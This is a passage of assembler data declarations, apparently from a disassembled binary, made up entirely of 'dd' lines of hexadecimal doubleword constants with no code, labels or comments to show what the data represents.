dd 0F75D310Ch, 1245EEDDh, 0C6CF2B6h, 0C2CD88A3h, 146FDC0Fh
dd 0F8896B43h, 0BE7E0F6h, 5842EF80h, 0A24C307Eh, 4FDC70B1h
dd 2C1EA7C8h, 69A42B20h, 7EA4F527h, 8DFCAA2Dh, 8B5F9575h
dd 0A0837597h, 3025FB5Dh, 970EE8h, 2EB586B9h, 470A00CBh
dd 15826F73h, 34008DC4h, 36D7FF2Dh, 4C8BBEEAh, 0A306CFBh
dd 0A69ED339h, 153BA801h, 286274C3h, 6A08D68Dh, 0EF7E3020h
dd 13C01B27h, 44B9D027h, 3A219083h, 0DA2E5332h, 0FCE8011Eh
dd 0F56B8993h, 9FF0E0F8h, 7233320Fh, 1F03EA0Fh, 2EFEB23Fh
dd 49DFE183h, 4261B7FDh, 300ABFF4h, 0B3588FBEh, 82FC60CEh
dd 0F726DC91h, 0F9D5BA00h, 60EE8361h, 0B94E4A03h, 241E1BC6h
dd 0A0128151h, 850F97C0h, 185C9AABh, 4713E860h, 0E61CA55Ch
dd 0F692FE8Ch, 0D8D0E500h, 30F5FC7h, 0C5ACAF15h, 59C05382h
dd 0F21EED61h, 49135A44h, 3FFAE0h, 0D8183336h, 4B5758CDh
dd 2679D907h, 6CC02DE5h, 5B3B9Bh, 70D64754h, 0A7362774h
dd 8929187Ch, 4AC004A6h, 185082A1h, 1898CAEFh, 0B0E6B43h
dd 0C0B89DF4h, 2B8995BCh, 0AE7B00FCh, 0C652EFA8h, 401919A0h
dd 4F29090Fh, 83448508h, 0A7C544DEh, 845BEE44h, 42801B22h
dd 0EC1D11EAh, 57B8722h, 0BA643703h, 72215h, 24B0AAB2h
dd 9DD84B42h, 6D731224h, 0E6791A00h, 107038h, 2E22BFB0h
dd 807FA819h, 6B2BDB1Fh, 0A2ED8A80h, 9CA5F6h, 96ADFD69h
dd 49D1C766h, 0AB37DC00h, 2399DEEAh, 77B801C8h, 88979E57h
dd 0EF56E047h, 0ACFA7277h, 5F686300h, 0B20D833Bh, 24E4007Fh
dd 7D8285E7h, 0EF012A99h, 0D4131C28h, 39D041C0h, 0B5709C9h
dd 7780293Eh, 0CF21382Ah, 876D3100h, 0E296CD86h, 0AA7E49h
dd 0FF81192h, 7C144CCCh, 4100135Fh, 0ECB2263Ah, 0A4400C2Bh
dd 2721F854h, 7F003171h, 0CB2DFA9Ah, 0E871B687h, 0F96D00E5h
dd 8611B93Eh, 5B011472h, 531D50ECh, 208DFBh, 958E00A0h
dd 0E2F4EFA3h, 440087C0h, 0A89A687Bh, 0E5F3F791h, 0F0EC8931h
dd 73A60008h, 8F88505Ch, 1DF4B60Dh, 0B4FD3109h, 0AE4403C8h
dd 973BA842h, 675F00A7h, 2F2C1C6Ch, 40E0B265h, 0EC9BC00Eh
dd 0FABA005Ch, 3804283h, 2701478h, 0F9C0FBA3h, 0B77E4BA2h
dd 0BDB8C0F9h, 3351E114h, 0BA6000DCh, 991BC7E3h, 0DC4A00C1h
dd 4139CB55h, 700B209h, 96C8F557h, 0F4C301h, 0BD987318h
dd 472436F6h, 9B09AB78h, 1214F0h, 9894347Ch, 29EE0087h
dd 0FA7D1B26h, 3707E4CEh, 0F26B9C96h, 0CC3427B0h, 328C1E2Eh
dd 0FAC5CF3Dh, 6501FE60h, 7424EBACh, 85016E47h, 0F776DA1Eh
dd 0AEC82C21h, 6F300098h, 78FCC1FEh, 27004F51h, 0FDE5243h
dd 3ECB454Ch, 428084D8h, 0A6A92E7h, 0F605F37Eh, 4189E52Fh
dd 8B5F042h, 10E820A3h, 5C098E2Eh, 78A1BB1h, 5E7E76D4h
dd 7F696180h, 0EF10DCh, 2DFEC1FCh, 0A7236821h, 5797C0F7h
dd 0C23058E4h, 0BD591122h, 0F07A003Bh, 950EFB7h, 5A00F9CAh
dd 4B29E31Eh, 0F6EEBA0Ah, 23140C96h, 6260519Fh, 0D0B73100h
dd 4E84A610h, 0C92101C7h, 0C3089C4Ah, 0DCB4E53Ah, 0E51679F8h
dd 8007033h, 9F99DDAFh, 0B0967328h, 31FA0F36h, 0B1800FA2h
dd 22F354F7h, 0CB3B450Fh, 368E600Bh, 4149E73h, 0C582BEAh
dd 3B28808Ch, 2173B6F5h, 15E01350h, 0EF406A00h, 3C3EE9BEh
dd 0AC9A00C2h, 9F17A1BAh, 0B06187Eh, 0CC479771h, 7A930EF0h
dd 0D4E0DEA0h, 1CBF354Fh, 27A15A0Fh, 0EBCB6049h, 0B0C5B9h
dd 0DF8F31EEh, 6FA3CD92h, 0B116F400h, 0F0D43A7h, 1125675Fh
dd 0EF6BD05Ah, 60952D6Eh, 860764h, 9B9AC42Ch, 0F61604Ch
dd 0DBA97307h, 14E7B306h, 0AC6C1930h, 0E26EC0D2h, 519D5FCDh
dd 0D1C39F00h, 5C0B15CCh, 5BB000DAh, 7EC1A185h, 733DEC3Ch
dd 6A00743Eh, 312DA4D1h, 26DC0C8Ch, 80F0F78Dh, 0FFA9B29Ch
dd 626192Bh, 348050AFh, 3B5ACB6h, 0DFB00D0h, 0C141A8Ah
dd 0E8004FCAh, 9DB2C74h, 79F4FAh, 4E59218Dh, 0D6AA02C1h
dd 0BC398B28h, 8843BB12h, 0D335E400h, 484787h, 7BEBB566h
dd 0ADDC7CD6h, 10678424h, 1F76C800h, 13E79F03h, 9ADBBDh
dd 0B70848D7h, 0E9007C22h, 0AAE5200Eh, 1EF72D5Fh, 0C0F5AED0h
dd 3F7F6FA5h, 2A38087Bh, 0A4951C22h, 0DBE50284h, 0FE9C5880h
dd 2DC50092h, 80B9013Dh, 2B13D05Eh, 0D800B837h, 719E866Fh
dd 0DFA101B2h, 2008FF40h, 0DC060DAh, 0F0C2653Eh, 6ADE9F00h
dd 0BDB91537h, 0C1A0057h, 0A338C377h, 0F0A04D62h, 3900C42Dh
dd 0DCD39EC6h, 0FCDBD94h, 0A004E768h, 0F10E80BEh, 0A487D560h
dd 41056D07h, 91A08C22h, 1BD249Fh, 75D46ECEh, 40984B2Eh
dd 200A3D80h, 3E51D31Dh, 5F0072E6h, 0F062A4A8h, 0CE471C52h
dd 78D700B4h, 193BB9BEh, 4DA29300h, 1D0F9AFAh, 0F5908Bh
dd 4C28FCE0h, 7475F44Bh, 0B3F80A00h, 7E44985Fh, 0B6AB009Bh
dd 0B5F7922Dh, 0DE0FEC58h, 92071EEBh, 0A28C1000h, 0DC0FD9h
dd 13BCF608h, 0A6444F58h, 40EE5898h, 99FDEC00h, 0B9FC03D0h
dd 647800BFh, 0AA19CB1Ch, 1D0029E4h, 0D5C4C911h, 24469A12h
dd 103A7Ch, 21853CBh, 30ED4122h, 94003C3Bh, 54B5FE8Fh
dd 1DA5A68Dh, 854CFD84h, 9061E605h, 0A941B110h, 761CCF48h
dd 6AC28000h, 169ED934h, 601B5955h, 92B5D20Fh, 91C48E80h
dd 0AA605F54h, 314A84D0h, 0F0EFF356h, 73DFCD04h, 0B44F8E7h
dd 94585A3Dh, 8CB16C00h, 2860E3A4h, 6271A5E2h, 928F0052h
dd 25D6D924h, 123C6A59h, 53D16060h, 921AC02Bh, 0D9470978h
dd 0B0A05B67h, 0FA244809h, 8F001177h, 237B0FCFh, 0E67A0E3h
dd 0B7B5914Ah, 0E54B7A00h, 0D40F4D26h, 0A01FC1D5h, 13715DDCh
dd 0A90E04BBh, 808E807Dh
dd 0AB88C06Ch, 8DD70418h, 0F08610h, 326A0C68h, 67D16DE4h
dd 0FE006CEAh, 94C99C98h, 0A00B055Ch, 925319ACh, 76D700CCh
dd 79ED7A54h, 1A903184h, 43BA938h, 8AB13E4h, 0D4993880h
dd 0EFB5004Bh, 6BF5455h, 0E4010D0Ah, 1DA9433Ch, 0E9B938C7h
dd 0DAC4A882h, 88E86D11h, 400F7DDh, 0DF9D5EFEh, 0E04F13AEh
dd 88F100DAh, 0CA2A79C6h, 33E450C9h, 1E521958h, 0A000254h
dd 703AA0A4h, 58AC6FAAh, 0B5604220h, 5500D349h, 4CA68443h
dd 2F2EEBh, 7BAFB86Bh, 0BC5C811h, 7E03D97Fh, 2A3D33EEh
dd 42F2C048h, 0AC9E48A7h, 0F180853Dh, 7E08D407h, 5A001D91h
dd 3F86BE9Fh, 0D0DBF5h, 0EEA47D0Fh, 5D4C6007h, 0B6B83A00h
dd 18CDFDB7h, 4D87000Eh, 36489A63h, 1F02A498h, 4EDFA301h
dd 161860BFh, 61D71C43h, 17A04046h, 5D604B19h, 0AB00E6E8h
dd 4EA7F26Ch, 1456CD14h, 8E1B9BD3h, 346AF2Ch, 0F8282103h
dd 4DEC64A0h, 0F2B1E901h, 3C2BED84h, 1E678F8h, 36560DA0h
dd 0C8431470h, 1118C56Bh, 15E09957h, 48C492CCh, 0AD28171Bh
dd 3F16E293h, 6000C3CEh, 0FE13CD1Eh, 0DB00F015h, 4686ABEDh
dd 729E6C47h, 0DCF4008Dh, 8CB8EAF2h, 0EE5C3428h, 0BEDF00B0h
dd 0F1AA226Dh, 43B10069h, 0FA3AAE79h, 573D38A1h, 5AC20071h
dd 9FCE60E2h, 8B9E0317h, 0B2285BE6h, 0FA948050h, 0A500BA75h
dd 796C6085h, 0B973D5h, 0B3A3872Dh, 0AF6A32C2h, 5B18C00h
dd 2F3F4BCAh, 0D6BB241Bh, 6B920EF8h, 21B3D281h, 0DA1ED14Eh
dd 81A76F40h, 80B52B39h, 80C44049h, 356014h, 0D3E4D09Bh
dd 0CD114D7Dh, 0A4078E09h, 6B60807Eh, 360C90Dh, 23FBC58Ch
dd 0B3884A20h, 1B00969Bh, 2899ECB9h, 30862CBBh, 5802958h
dd 0D20CE173h, 7892EB7Bh, 0EE810C7Dh, 0AB202890h, 18D1BE07h
dd 52808DFBh, 24D74909h, 7107588h, 50D4B7D9h, 0A58B599Ah
dd 0BC87DB0Dh, 25E048B3h, 7173075Dh, 0F7120ACDh, 0ECA66059h
dd 8D009D51h, 1F3CC604h, 0D0AF78h, 9E16FBE9h, 0AD0301C9h
dd 1B4AD307h, 0CCB05F98h, 55939A0h, 177F9DCBh, 0EF508057h
dd 3E3F11FEh, 3B870308h, 0BE9A99BFh, 42130098h, 0CDABD116h
dd 0C826C4A6h, 7000B563h, 0E77B1BCBh, 0E91A0E66h, 2BE04020h
dd 7E6BC577h, 7709F0Fh, 0E20642F6h, 900AC39Eh, 7656F76Dh
dd 83E3002Ah, 0CC5B968Fh, 81000336h, 67FF32DAh, 9A5E663h
dd 140982E8h, 21070C01h, 0DBBCC040h, 26FCC400h, 8565AB73h
dd 9A550059h, 79E1C034h, 461D227Dh, 2E00D7A5h, 74F3A714h
dd 70DF0009h, 62509268h, 0EA2EBAA3h, 0F700AC01h, 5411A0E7h
dd 0D7D55h, 0A799894Fh, 0F16D1FDBh, 415AC02h, 609605B5h
dd 58A0F3h, 0CF9538D9h, 884C6519h, 0E0160602h, 60DB151Ch
dd 0F388E86h, 62BFAF71h, 0C039D265h, 65BB696h, 804CB039h
dd 0D12089C4h, 4FB31Bh, 0D4FFDEA9h, 0F6D8A0EAh, 0D9153Ah
dd 0CDE13467h, 3A49ACD3h, 622EF333h, 11120069h, 0ADD5D61Dh
dd 0D1754F07h, 0EDA03187h, 74342D7Eh, 0E0A7EE58h, 0EEF603F9h
dd 0A1B1648Fh, 995C7CA0h, 3500237Eh, 496B26F4h, 7CB8ADD6h
dd 0F0BA3D42h, 9832F100h, 0F6F713ACh, 4BE6D100h, 7F929318h
dd 0E8D4ABE4h, 3E25DE2Fh, 0A687EE28h, 2058FCBEh, 53B51AACh
dd 87EA0D90h, 5B4F3C04h, 0CF08F49h, 0BBEE0131h, 0BF73322Ah
dd 0D842E092h, 3E471900h, 673C8424h, 0D1710333h, 0DE803039h
dd 0EFCF509Fh, 58391801h, 0CA628109h, 0A9602991h, 9B27C440h
dd 340B0389h, 14E642FFh, 17A6101Ch, 79AAEE40h, 0DC94F043h
dd 347B8080h, 97C8194Ch, 998E5D30h, 314B00Eh, 3C8AF622h
dd 45A0E620h, 4A00E956h, 0CA51076Ah, 78114614h, 35E0B2h
dd 0B75855EBh, 93BFD7A9h, 0C0F52301h, 186F2FE6h, 5FEFF0h
dd 0D5242568h, 5D10FD74h, 42AC2007h, 0A7B3A070h, 8AEEC018h
dd 0ED9C2E97h, 45898F40h, 0A694A402h, 0D38A58A0h, 0EC33198Eh
dd 0BC5C20EDh, 4B1F1648h, 9F13C786h, 181EF8F8h, 5891AB4Ah
dd 6618EF42h, 1540A0BFh, 0A01000Bh, 2CCCB22Dh, 4800EED5h
dd 0C5DF29F6h, 0A8AE67h, 0C38B5C15h, 742A96DCh, 507A3F4h
dd 78A9138Ah, 0A1457210h, 8C5A0075h, 0C7E07902h, 9876979Ah
dd 3B9B3C00h, 0B5F6D7Fh, 357414h, 67331ED6h, 58B6B5F6h
dd 2A5348h, 7175624Eh, 2E27A87Ah, 13A6196h, 0CAB57F4Dh
dd 5F97F034h, 13528F03h, 0F1A45610h, 8D60373Eh, 70587E2Bh
dd 667719h, 0A927576Eh, 3BCC506Ah, 9E18E3Fh, 0C329EF82h
dd 0E00FD068h, 0AFF71EFFh, 0E0A0EA8h, 0AB34B895h, 6E9C0FB4h
dd 28610900h, 8F67150Ah, 0DD412C21h, 118078B8h, 0FAEE5A26h
dd 1CA01027h, 0AB30D40Bh, 0DA981134h, 939510DDh, 41181EA0h
dd 0FEF6846h, 0CC1B0291h, 921C0977h, 6737E4A0h, 0ECA4C052h
dd 1D8BE8C0h, 1F67D69h, 8857799Dh, 80193A92h, 6B188AA8h
dd 3A8B001h, 28545E77h, 0E000A14Fh, 0BD91434Bh, 0C010EB85h
dd 46B8298h, 63039A64h, 93B90390h, 0E7A5900Fh, 3D137CC4h
dd 251B0CC0h, 76BA10F8h, 3E000070h, 232F7236h, 793C6644h
dd 256F0746h, 80752BD6h, 9B733A1Ch, 502ECE3Ah, 4A784CD0h
dd 66034175h, 60681E2Ah, 0E1A7A240h, 6DFD35CBh, 5B45C8h
dd 31395218h, 482F404Ch, 352E6A00h, 1F297359h, 25690A2Ch
dd 0E6383D8Ah, 624820DFh, 0A11842D5h, 64D01BE0h, 0C04AF038h
dd 6F1ED4B0h, 32013B2Fh, 36204B18h, 0A7E0E075h, 1B290348h
dd 3E4C494Ah, 393353C0h, 45184FFAh, 56D1678Ah, 5AE0F343h
dd 8A38D668h, 0C049088h, 109592EFh, 80150A20h, 80C8BCAAh
dd 13CB5C11h, 28127D4Bh, 0C80A6595h, 1C2AE848h, 2F638B73h
dd 0C1106E19h, 8423BF8h, 11C4498h, 9DF4F060h, 40A3A639h
dd 0E8839A2Ch, 29001048h, 889A0CA5h, 0A00C3888h, 0E930C10Dh
dd 83ED1D8Fh, 0FF287C59h, 84A10664h, 40AB2A15h, 0E705627h
dd 839B6350h, 2C590A6Ch, 85788414h, 89F6E56h, 0E477C658h
dd 9BF23B4Eh, 0E6BF91Dh, 0DD5595B0h, 3BA87B4Ch, 7949389h
dd 6D86C840h, 3B8FF70h, 44D52993h, 1FA1AA19h, 0A60C414Dh
dd 6297E109h, 2B2670BCh, 9500C010h, 150C3A5Fh, 0F934B05Eh
dd 9222E4F3h, 0E5BB1120h, 13C51708h, 8F8B001Eh, 0DB2A4E9Fh
dd 0FA9B0CA0h, 149A0DF0h, 58758D28h, 40EA0E05h, 643A8F20h
dd 5F263422h, 0F50AF02Ah, 0BC208C5Bh, 0B8407C42h, 2F2C840Fh
dd 19867417h, 1419F98Dh, 0F88BAB37h, 142D39C0h, 5C988A41h
dd 48480C42h, 6364FF10h, 0B8F5540h, 0FAAFE0C1h, 1493C019h
dd 4302E46Ah, 281938D5h, 98C47C64h, 1041F109h, 8C5D1F93h
dd 68A43291h, 83A61109h, 8E410A01h, 4B61880Fh, 0AC61AB38h
dd 65E26441h, 2098C414h, 5D83A594h, 2909258h, 3AEC4D1Eh
dd 440C44B9h, 80AE8A96h, 1998F555h, 4092F50Ch, 78EA308Ch
dd 295404B1h, 9A887C9Fh, 5CC2E048h, 0ABA0F402h, 926D1922h
dd 0D320C194h, 28C88AFAh, 64817908h, 0A2805004h, 0C98A8FDh
dd 8C1A95C7h, 474F3804h, 95E20CCFh, 0DB290115h, 22C4EC81h
dd 850C22A8h, 98331580h, 1B170C46h, 3FAC2507h, 0F504C89Ch
dd 0B1D95310h, 0C8A027A6h, 4A0658A5h, 0B949612h, 0D862144Ah
dd 0AB74106Bh, 5061D54Bh, 315FEF2h, 2AFB5B0Dh, 0D15351F6h
dd 86AC58A8h, 537991B8h, 3055D8CDh, 95584DF2h, 2C494C17h
dd 5F8123AAh, 3DBFEC11h, 97E118E9h, 9324910h, 5BBF5D8Eh
dd 1210481h, 2C9811C5h
dd 20950B03h, 4C155DCCh, 54180E60h, 0E690BC70h, 639B0888h
dd 7031070Ch, 1F04F60Dh, 0E853E29Ch, 678043Ch, 1479695Ah
dd 0EF3C70E8h, 80471EF9h, 3C47D895h, 9DBDDB0Eh, 0D018E4B1h
dd 92FDC330h, 6BC031Ch, 0BF05856Eh, 63343EA8h, 7B997F38h
dd 7D4C39h, 9B215E96h, 0E717246h, 6397764Bh, 1040370Ch
dd 5F6DCF00h, 0AD2D6C23h, 0C8DD3EF9h, 7860E400h, 2FCA673Dh
dd 0EC515A00h, 4231145Bh, 125F0097h, 340CB780h, 0E23AE624h
dd 0B6D5014Fh, 0C0682095h, 0FD396C22h, 0F8943C87h, 4D42A008h
dd 0A70797E4h, 24E17462h, 0F7153940h, 0FC0B01CFh, 93C40F1h
dd 0FA204085h, 0C9A1211h, 80E38AF8h, 0A4B11019h, 7E2C1Bh
dd 24BA8672h, 410B68D2h, 54C00126h, 0E7C0C247h, 162396CAh
dd 37A781Ah, 0D150B14h, 0AC3358A6h, 0F0166108h, 0EF67A5h
dd 0A983610h, 4A744713h, 0BB6E7600h, 6ADE0259h, 0F73C0396h
dd 0C2458173h, 0DDF2A8C0h, 3BBB610Fh, 0A08087DCh, 7CF4298Ch
dd 0ED470162h, 0CC60F9AEh, 0B72EC42Bh, 910FB90Fh, 863F20B0h
dd 1661485h, 0CFAEABC1h, 0F0084709h, 0B00067FBh, 5EA11744h
dd 39828FB1h, 0C21F7507h, 0E585C0AEh, 3505227Bh, 564A2800h
dd 0B745B066h, 5D4EC3DDh, 2001A6ADh, 536D42C2h, 204E06F7h
dd 81735B11h, 9EC06275h, 0EF2D90FFh, 380B605Bh, 0D4345544h
dd 0AF545200h, 0F184FE9Ch, 748CFB4h, 0D95D99BCh, 2DFD42Bh
dd 0B3497F00h, 0FA23EA60h, 7D080C64h, 33F0689Ch, 96D1BF18h
dd 307BA230h, 39185E98h, 0A340D50Fh, 0D82D0F8Ch, 5480A68Bh
dd 0B24A5344h, 8EC1FCE9h, 0E0C7AC00h, 0C5E48033h, 0A909CC2Bh
dd 0B4036E21h, 0A2BA4CC7h, 0D948A825h, 182F7001h, 0F068023Fh
dd 0AE0CCED0h, 0E0C5A8B4h, 66A100A3h, 73313801h, 49660760h
dd 0FC21A509h, 80E45Fh, 1EB74D67h, 0E09C1164h, 0B400077Ch
dd 0F97BB336h, 366DE98h, 50A604FBh, 0D0F0ABC3h, 70C0C8FAh
dd 0FC7CE7A4h, 9DD8C293h, 0B0A00ABEh, 78808588h, 9C4B84A0h
dd 92FE0801h, 0B84A4024h, 0A570D980h, 805AFF94h, 0E8001690h
dd 6EE2D6D4h, 6DE9EFAh, 0B1CBF94Eh, 0AE733137h, 1BC44154h
dd 65EA8600h, 1C5CC229h, 379C007h, 89AAF1E0h, 4092F603h
dd 0A3930620h, 444000FAh, 0CDF1F7E1h, 0E7097CC9h, 208D7461h
dd 0F9B1D020h, 202F09D1h, 5C00A1CBh, 7118A0DAh, 310C07E8h
dd 18FEF738h, 0D55D189Bh, 0B34A389Ah, 80050A3h, 0EAFAEE81h
dd 33B4549Fh, 0B19B1A9h, 0F6263C88h, 84AA8D01h, 7D2C60C9h
dd 636B0D20h, 0B3ABA98Eh, 3F4F3101h, 116EDE4Bh, 783795C4h
dd 9B8D0C48h, 1E7179D3h, 0C4705300h, 0BB96BE88h, 4685032Bh
dd 49A0F964h, 0C51E99C6h, 414E4DC2h, 7017E794h, 4F4953A0h
dd 581F4A4h, 0EB2B393Fh, 899C1B4Bh, 0F9676AA0h, 904890B0h
dd 546984B0h, 51219E00h, 770C9ABFh, 9178D3F2h, 9462006Eh
dd 16A199D7h, 8B03D569h, 0A3F1F20Bh, 5BFE878h, 3C88909Ch
dd 93A07D8Eh, 84756E04h, 0CB00AD07h, 0C0BE1D2Bh, 8DFB6306h
dd 18807E7Dh, 6974D432h, 0EA07950Eh, 8DFC6B5Ch, 25784680h
dd 0DBFE0251h, 90B4C840h, 0F8B9040h, 2EE40082h, 0A0D65338h
dd 3BF29CE0h, 2000DDB4h, 0D169296h, 0C300A873h, 8331DCA9h
dd 0DCB1CFF8h, 41D68C38h, 42006479h, 1CFB4E87h, 66C3B2A6h
dd 216E0844h, 873B7D03h, 934D2F7Ah, 964004C6h, 91F9FBFFh
dd 0E1B10728h, 1C8C3437h, 525C0448h, 40017720h, 23D9EDCCh
dd 0C4225CF2h, 838AA1Ah, 66E0D800h, 0CC0850A3h, 808F5239h
dd 443A5C8Eh, 0C9292F43h, 0A80CE4A3h, 0D861AEh, 75919F56h
dd 15995967h, 0DDAC812Ch, 2C81EA3Dh, 142CE960h, 7B6107A2h
dd 3305A92Ah, 9BA09DB2h, 60492833h, 5A750204h, 57065BC3h
dd 89B416E0h, 0A4929E1Dh, 70482D04h, 413384D0h, 0C4DB05C3h
dd 0F6BBFBAh, 1B1EFF8h, 0D9D4BB08h, 0C5F49BC6h, 3C4484A5h
dd 448E3F01h, 0A9BE2985h, 0B3F00384h, 21054034h, 3D89629Eh
dd 0BA49B806h, 698000D1h, 84169BBDh, 0C2015286h, 39CAB6D0h
dd 0DC23423Ah, 0ED092E30h, 7A07D1B7h, 812AB46Bh, 0B02059D5h
dd 15A2E5Dh, 0AF2F04DDh, 53AA8675h, 4E61B2ACh, 2F9BF989h
dd 0F7D0B435h, 358F16ACh, 54084490h, 3358C341h, 21AA89F9h
dd 60C7E184h, 7B8C5008h, 33DF11ABh, 80AA88B8h, 61C7B36Bh
dd 9D00E687h, 6675166h, 30F73ABCh, 9B58B781h, 202BBD0h
dd 0E2013788h, 53744021h, 62300AC6h, 8E4CEF9h, 9E025595h
dd 0C3D71359h, 0C05E9420h, 6F2F8C6Ch, 8D02BB9Ch, 6D4C6BCBh
dd 2C6451h, 38F14C9h, 0BF1816Eh, 0EBA1B409h, 0FC900383h
dd 0F5BA1A5h, 6E7024h, 17A08C5Ch, 0E329FE60h, 1283F248h
dd 0F05DE98Dh, 0E034AD00h, 50872FB2h, 4A4A8A0h, 17302D99h
dd 0A39880F3h, 0B7445138h, 0E9220008h, 71DE9395h, 7C30D39Eh
dd 313B39A1h, 80837820h, 8491A9A6h, 94C7D00h, 0F34A46Dh
dd 3576A1B9h, 82F3761h, 0AA10349Fh, 25A8F3Eh, 1E24F30h
dd 0DC8940C8h, 368B240h, 382F95ACh, 3059EDFBh, 4455C220h
dd 0A5E8B03Ah, 33E111C7h, 899F88C8h, 300AD75h, 0A555FB5Dh
dd 0CF2CBA59h, 821A2315h, 8E80FD09h, 7250B48Dh, 5F0A09F8h
dd 51039E43h, 0D1F04BE2h, 0AC4864E7h, 8025835Ch, 0C2868713h
dd 0E9512E30h, 0B004F34h, 1C6779E3h, 68D40554h, 42FE6F0Ah
dd 0C313A00Ah, 82A5A04Eh, 6195C87Dh, 0EDECADD8h, 134908Bh
dd 0F7DD7B12h, 91845585h, 9D00B1B9h, 8D6F8A2Dh, 7D148986h
dd 2EA043A8h, 467C5863h, 0D4B179Ch, 287DFC0Eh, 5BBA00B5h
dd 0AB2FBBF9h, 0BC256024h, 2BCA6030h, 3A85FA22h, 0D72CE738h
dd 2C10BC3Ch, 4306129Ah, 1C09DC52h, 40F4B2F1h, 4DFB67E4h
dd 6888F444h, 87508480h, 2048C10h, 0D2EFA005h, 4460D48Ah
dd 450254EDh, 27202DA7h, 0F9A0800Eh, 1205B361h, 6828F51h
dd 91AE91D4h, 9458352Eh, 69073183h, 0A31809A4h, 804EB43Ch
dd 12396B40h, 4EB35804h, 2F243030h, 0E04487FDh, 2001E97Dh
dd 0E2C30504h, 0C4A738A9h, 20879B20h, 0C9FEC888h, 0CCF5883h
dd 8F9EC802h, 66043ABFh, 92722C14h, 0C03B1DB7h, 108B3F0Eh
dd 8F09AB2Dh, 20F11327h, 2C6F8EC0h, 0E79531FEh, 9CAFA838h
dd 0B80641h, 0CB9458E6h, 0B1569A40h, 74C2488h, 0C0A5F901h
dd 0FC5B2F91h, 0CEC350C3h, 0ED20C80Ch, 90AD00E8h, 935CF6DBh
dd 0A450C955h, 8490E198h, 84A8A95Ch, 7BC0957Dh, 783EE53h
dd 3FB025C0h, 542C20DAh, 0F0000C4Ch, 0EF47946Ch, 58686B8Ah
dd 0F20E5886h, 0C01C042Bh, 83138841h, 0E8F3FBF5h, 2D28F79Ah
dd 551CD8A5h, 7DC31A0h, 129330C5h, 18B5980Bh, 39B757C0h
dd 0D0001B3Bh, 875DBE8Dh, 0BC92095Bh, 3600E0B0h, 74E33CACh
dd 7E03FA9h, 229C452Bh, 141345AEh, 7B94ACAAh, 117C4F18h
dd 6AF42AB3h, 0A8826409h, 3CA77E91h, 0D18BF200h, 50704986h
dd 522C4D00h, 84284593h, 0ADE73BA9h, 0F4C0A300h, 254391BDh
dd 0C9DF4850h, 6B23420Eh, 6D2280C6h, 4A0182h, 665A21D5h
dd 0AAACC293h, 0FAA77500h, 0AED864B2h, 0CCC81D91h, 0CD003EB0h
dd 0AB5A6AAFh, 3C031E7Eh, 717FB9EFh, 64C1E003h, 0A7FA00D4h
dd 34AEC06Eh, 8178DB63h, 36D3C63Ah, 1F112878h, 12C0ABCBh
dd 72F703BFh, 61C0FADAh, 341E7ED4h, 741FA875h, 7CAED201h
dd 0ABE0D171h, 383F064h, 0ECCC73A6h, 0B846E71Bh, 8FE0BE04h
dd 7D00CF97h, 0ECD67275h
dd 0A5D75EC1h, 2B98BD18h, 0B0641014h, 37FB38h, 0A4D98A31h
dd 0C45F48Fh, 13B9015Bh, 0B407BC18h, 33EE6D25h, 377004C0h
dd 0AE48C059h, 3FC72875h, 861D3Ch, 1F980A72h, 135C11h
dd 661CB8D1h, 0B04B8D28h, 5B21CB07h, 0C7239B1Bh, 57B9800Bh
dd 55DF0B17h, 9580DD3Eh, 0E0D0F548h, 72288200h, 211B96ADh
dd 18C4600Ch, 8CF99DAEh, 181A70C1h, 40406DACh, 60D9E87Dh
dd 16A8D9DAh, 0E1E9235Dh, 0F818D36Fh, 0BBC0C527h, 27CA447h
dd 0F914D9FAh, 1B3C952Ah, 0A2C55C59h, 0FE9943C7h, 683026C7h
dd 18313798h, 0F09868EAh, 95635101h, 3BCA9F8h, 0EF1864BCh
dd 0B14008F3h, 0E20C8EF0h, 66AB5072h, 0B11F78CFh, 391CE71Fh
dd 0C3828CEBh, 3C9AA3FCh, 1380F660h, 15738A68h, 8C0221E8h
dd 53935A00h, 0CE9C4C63h, 0C9220EEh, 0DCD7C71Eh, 0E8AC81BBh
dd 0E6C4B8EBh, 258928FFh, 485B6448h, 0E1289C69h, 605E6491h
dd 0FB2B0991h, 6EF8D1EDh, 1E7C1C38h, 80BB1472h, 0D87087F9h
dd 37734AFh, 5E83ABD1h, 0FEC7A5C0h, 3B783796h, 0C1B05001h
dd 0F0546178h, 0B00E5C6h, 0ABCEC886h, 0A0D7190h, 63D1845h
dd 53BE6144h, 0B408EC48h, 44EA72Bh, 74145401h, 0C4D0B50h
dd 81F10800h, 89707C77h, 0DD304C23h, 1F0848E3h, 0F88617F8h
dd 4E3581DAh, 24E491A0h, 0B194CC61h, 89BCA10h, 22486564h
dd 0B3302D95h, 0E9593AFDh, 0DF881052h, 6F3C8391h, 7C084646h
dd 70014A41h, 3102F361h, 0D3F09C6Dh, 0CC35261h, 8CFAF615h
dd 0DD065090h, 28948ADFh, 1564A4A4h, 17481609h, 31223091h
dd 89232244h, 241D121Ch, 911F481Eh, 44192218h, 44894B4Ah
dd 46244512h, 3980474Fh, 0ECFE8B12h, 0E6E00E7Eh, 1F65F4A4h
dd 842D20B8h, 580497FAh, 8A1E86Fh, 87BC4009h, 1B01231Ah
dd 8B59201Ch, 0C4F034E8h, 772200D3h, 2421AA42h, 1A037214h
dd 204C15B1h, 0A354A3D9h, 0C6BCC3A1h, 60644040h, 80A4AF40h
dd 0CA0743D2h, 0E815A721h, 48A6C374h, 43FF4BFh, 951EACFAh
dd 0AC98898h, 0F5978504h, 0A5F9314h, 55382367h, 0A67DA381h
dd 1210F196h, 432A7B4h, 28110910h, 4211448h, 3EBAABFh
dd 4E4F02A0h, 0CDA6E82Bh, 0B0BE181Ch, 65DF21E6h, 0EF7038A5h
dd 161201DBh, 9D52D79Ah, 3764F046h, 8DA18C3h, 233AE89Fh
dd 0BBE014ADh, 0C73E1C34h, 0AFD3E3Ch, 1E0189E2h, 0EA2F4528h
dd 70BBE470h, 41DF6E94h, 3014D166h, 6175EB00h, 717C7FDAh
dd 66A701C6h, 0C1800CE8h, 9182E06Dh, 5ABE730Eh, 0B0D2206Ah
dd 15D17177h, 14E6AAADh, 5A0684CFh, 630030CFh, 71B3ABDBh
dd 0C0917ED2h, 777CAF58h, 72FA7FAAh, 1BF0D403h, 88A6C0B2h
dd 0FEEB2362h, 0E9D6305Dh, 0AB82D018h, 0AC0ED8F0h, 9BC062A7h
dd 0E9287D80h, 7E78B3E8h, 30B97E63h, 5C78D65Fh, 31C383D2h
dd 7461C1AEh, 0AACC2959h, 1A8A10Ch, 0D47076EBh, 0D178C47Fh
